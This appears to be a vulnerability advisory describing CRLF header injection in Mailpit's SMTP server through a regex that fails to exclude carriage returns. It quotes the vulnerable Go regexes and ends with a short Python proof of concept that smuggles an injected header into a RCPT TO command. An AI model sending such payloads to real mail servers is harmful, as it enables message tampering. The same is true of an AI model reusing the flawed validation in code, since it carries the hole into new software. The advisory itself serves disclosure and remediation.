Mailpit - SMTP CRLF Injection via Regex Bypass

Overview #

A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.

Vulnerability Details #

Affected Versions: <= v1.28.2

Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.

Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:

rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)

Exploitation Requirements #

  • Network access to SMTP port (default 1025)
  • No authentication required

Impact #

Remote attackers can exploit this vulnerability to:

  • Inject arbitrary SMTP headers
  • Corrupt email metadata and Received headers
  • Generate malformed .eml files
  • Violate RFC 5321 compliance

Proof of Concept #

import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 1025))
    s.recv(1024)
    s.send(b"EHLO test.com\r\n")
    s.recv(1024)
    s.send(b"MAIL FROM:<[email protected]>\r\n")
    s.recv(1024)
    # Injecting \r
    payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
    s.send(payload)
    resp = s.recv(1024)
    print(f"Server Response: {resp.decode()}")  # Expect 250 OK
    s.close()

exploit()

Solution #

Upgrade to Mailpit version 1.28.3 or later.

References #